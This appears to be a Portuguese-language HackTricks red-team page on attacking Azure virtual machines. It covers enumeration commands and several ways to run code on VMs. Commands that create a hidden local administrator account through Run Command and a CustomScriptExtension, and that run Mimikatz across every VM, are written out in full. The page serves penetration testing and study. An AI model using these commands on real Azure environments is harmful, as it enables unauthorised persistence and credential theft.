Az - Virtual Machines & Network

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

A partir da documentação: As máquinas virtuais do Azure são um dos vários tipos de recursos computacionais escaláveis sob demanda que o Azure oferece. Normalmente, você escolhe uma máquina virtual quando precisa de mais controle sobre o ambiente de computação do que as outras opções oferecem. Este artigo fornece informações sobre o que você deve considerar antes de criar uma máquina virtual, como criá-la e como gerenciá-la.

Informações da Rede Azure

As redes Azure contêm entidades diferentes e formas de configurá-las. Você pode encontrar descrições breves, exemplos e comandos de enumeração das diferentes entidades de rede Azure em:

pageAz - Azure Network

Azure Bastion

Azure Bastion oferece uma solução de acesso seguro e totalmente gerenciada para RDP (Remote Desktop Protocol) e SSH (Secure Shell) por SSL por meio do portal Azure. Ele está integrado a uma Rede Virtual do Azure, permitindo conectividade RDP e SSH às VMs usando IPs privados, evitando a necessidade de IPs públicos. Isso o torna uma alternativa mais segura e conveniente aos métodos tradicionais que envolvem atribuições de IPs públicos e configurações de regras NSG para acesso às VMs. Desenvolvedores e pessoal de TI podem acessar com segurança as VMs a partir do portal Azure usando seus navegadores da web, simplificando o processo para ambientes de desenvolvimento e testes.

Para listar todos os Hosts do Azure Bastion em sua assinatura, você pode usar o seguinte comando:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Enumeração de VM

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Executar comandos em uma VM

Login do AAD na VM

É possível permitir o acesso a usuários autenticados via AzureAD. Por exemplo, ao tentar acessar uma VM Linux: ssh username@azure-corp.com@1.1.1.1 (é importante usar o e-mail com o azurecorp usado ao tentar fazer login), você pode receber um erro como:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Apenas siga essas instruções acessando https://microsoft.com/devicelogin e indicando o código, use o e-mail e a senha como credenciais e você poderá se conectar via SSH (se esse usuário tiver permissões suficientes para fazer isso: função Virtual Machine Administrator Login ou Virtual Machine User Login).

Executar Comando

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Executar Extensão de Script Personalizado

As extensões de máquinas virtuais (VMs) do Azure são pequenas aplicações que fornecem configuração pós-implementação e tarefas de automação em VMs do Azure. Por exemplo, se uma máquina virtual requer instalação de software, proteção antivírus ou a capacidade de executar um script dentro dela, você pode usar uma extensão de VM.

Portanto, se você tiver acesso para escrever, você pode executar código arbitrário:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

Estado de Configuração Desejado (DSC)

O Estado de Configuração Desejado (DSC) é uma ferramenta do PowerShell semelhante ao Ansible, usada para configurar um host por meio de código. O DSC integra-se ao Azure, permitindo o upload de arquivos de configuração específicos. Esses arquivos devem seguir uma sintaxe rigorosa. Notavelmente, a extensão DSC no Azure pode executar comandos de arquivos que atendem a certos critérios de formatação, mesmo que a sintaxe não esteja correta para os padrões do DSC, conforme mostrado na figura fornecida.

A execução desses comandos é facilitada pela função Publish-AzVMDscConfiguration no Az PowerShell. Os requisitos incluem um arquivo .PS1 com uma função definida e o arquivo deve ser compactado em um arquivo .zip. Mesmo que a sintaxe possa não estar correta para o DSC, o código ainda será executado. No entanto, a extensão marcará o status de execução como "falha" e nenhuma saída do comando será visível devido ao status ser sobrescrito pela mensagem de falha.

Definições de Aplicativos de VM

As Definições de Aplicativos de VM permitem a implantação repetível de aplicativos versionados em uma VM do Azure. Este recurso suporta a implantação e atualização de aplicativos em várias VMs. Para configurar isso, várias etapas são necessárias, envolvendo comandos como New-AzGalleryApplication e New-AzGalleryApplicationVersion no Az PowerShell.

A execução de aplicativos ou comandos por meio deste método envolve o "VMAppExtension", que é instalado automaticamente quando um aplicativo é aplicado a uma VM. A extensão recupera o arquivo da URI especificada e o nomeia exatamente como o aplicativo, sem uma extensão. Para executar o arquivo corretamente, o campo "ManageActions" na chamada da API REST deve ser configurado para renomear o arquivo com a extensão apropriada. A configuração deste método, uma vez concluída, se assemelhará à estrutura mostrada na figura fornecida.

No entanto, esse método de execução é relativamente lento, levando cerca de 3-4 minutos para executar um aplicativo ou comando. Os arquivos relacionados a esse processo são armazenados em diretórios específicos (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ para a cópia do aplicativo e C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ para o status de execução).

Ambas as técnicas fornecem maneiras únicas de executar comandos e implantar aplicativos em ambientes Azure, cada uma com seu próprio conjunto de requisitos, etapas e considerações.

Grupos de Trabalhadores Híbridos (HWGs) no Azure

Grupos de Trabalhadores Híbridos (HWGs) são um recurso no Azure que permite que Runbooks, configurados em uma Conta de Automação, sejam executados em uma Máquina Virtual (VM) do Azure que faz parte do HWG designado. Essa execução é facilitada por meio de uma extensão instalada na VM, que implanta o código do Runbook na VM. Um aspecto significativo desse processo é que as credenciais reais não são um fator na execução porque o código é executado com privilégios elevados, especificamente como SYSTEM ou root, conforme ilustrado na figura fornecida.

Um detalhe crucial para aqueles que utilizam VMs do Windows 10 é a necessidade de especificar a versão do PowerShell para o Runbook. Deve ser configurado para ser executado como a Versão 5.1 do PowerShell em vez da 7.1. Esse requisito decorre do fato de que o PowerShell 7.1 não é instalado por padrão nessas VMs, levando a uma falha na execução do script se a versão 7.1 for especificada.

Este recurso do Azure oferece um método robusto para automatizar e gerenciar tarefas em ambientes híbridos, permitindo o gerenciamento centralizado e a execução de tarefas em VMs do Azure.

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización